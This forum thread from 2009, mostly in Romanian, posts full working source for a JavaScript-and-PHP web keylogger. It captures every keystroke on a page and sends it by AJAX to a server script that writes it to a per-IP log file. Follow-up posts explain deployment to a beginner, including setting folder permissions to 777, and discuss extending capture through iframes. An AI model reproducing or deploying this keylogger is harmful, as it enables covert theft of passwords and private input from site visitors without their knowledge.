Nytro Posted August 9, 2009 Report Posted August 9, 2009 By reilukekl.jsfunction GetCandy(event){var kreiluke = “”;var isNetscape = (navigator.appName.indexOf(”Netscape”) != -1);var kreiluke = (isNetscape) ? String.fromCharCode(event.which) : String.fromCharCode(event.keyCode);makeRequest(’kl.php?iambr=’ + kreiluke);}function makeRequest(url){var httpRequest;if (window.XMLHttpRequest){ // Mozilla, Safari, …httpRequest = new XMLHttpRequest();if (httpRequest.overrideMimeType) {httpRequest.overrideMimeType(’text/xml’);}} else if (window.ActiveXObject){ // IEtry{httpRequest = new ActiveXObject(”Msxml2.XMLHTTP”);} catch (e) {try {httpRequest = new ActiveXObject(”Mcft.XMLHTTP”);} catch (e) {}}}if (!httpRequest){alert(’Giving up Cannot create an XMLHTTP instance’);return false;}httpRequest.onreadystatechange = function() { alertContents(httpRequest); };httpRequest.open(’GET’, url, true);httpRequest.send(null);}function alertContents(httpRequest){if (httpRequest.readyState == 4) {if (httpRequest.status == 200) {}else{alert(’There was a problem with the request.’);}}}kl.php<?php$_GET[’iambr’];$file = fopen($_SERVER[’REMOTE_ADDR’] . “-logged.txt”,”a”);fwrite($file,$_GET[’iambr’]);fclose($file);?>testpage.html<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”“http://www.w3.org/TR/html4/loose.dtd”><html><head><SCRIPT language=”JavaScript” SRC=”kl.js”></SCRIPT></head><body onkeyup=”GetCandy(event)”><p>press a ~censored~ key at it will be logged</p></body></html> Quote
cla1992 Posted August 9, 2009 Report Posted August 9, 2009 Putin ajutor te rog (sunt incepator si nu prea ma pricep). Ce trebuie sa fac cu toate astea dupa ce le-am adougat intr-un folder? Quote
Nytro Posted August 10, 2009 Author Report Posted August 10, 2009 Uploadati fisierele pe un host, setati permisiunile folderului in care se afla la 777, intrati pe pagina HTML, apasati taste la intamplare, apoi vedeti in acel folder daca s-a creat un fisier cu IP-ul vostru. Quote
alien Posted August 10, 2009 Report Posted August 10, 2009 presupun ca trebuie sa fie focusat browserul nu? Quote
Nytro Posted August 10, 2009 Author Report Posted August 10, 2009 Logic. Keypress-urile trebuie sa le primeasca browserul, js-ul captureaza acestea si le trimite prin AJAX la PHP loggerul care le scrie in fisier. Quote
alien Posted August 10, 2009 Report Posted August 10, 2009 aham... deci daca userul este intr-un alt tab decat cel pe care e keyloggerul tot le fura? Quote
Nytro Posted August 10, 2009 Author Report Posted August 10, 2009 Nu cred, incearca si tu mai multe chestii: Pune html-ul intr-un iframe si incearca sa scrii in pagina cu iframe sau altele... Nu am testat. Quote
Nytro Posted August 11, 2009 Author Report Posted August 11, 2009 Cine are chmod 777, folderul in care se afla toate fisierele? Quote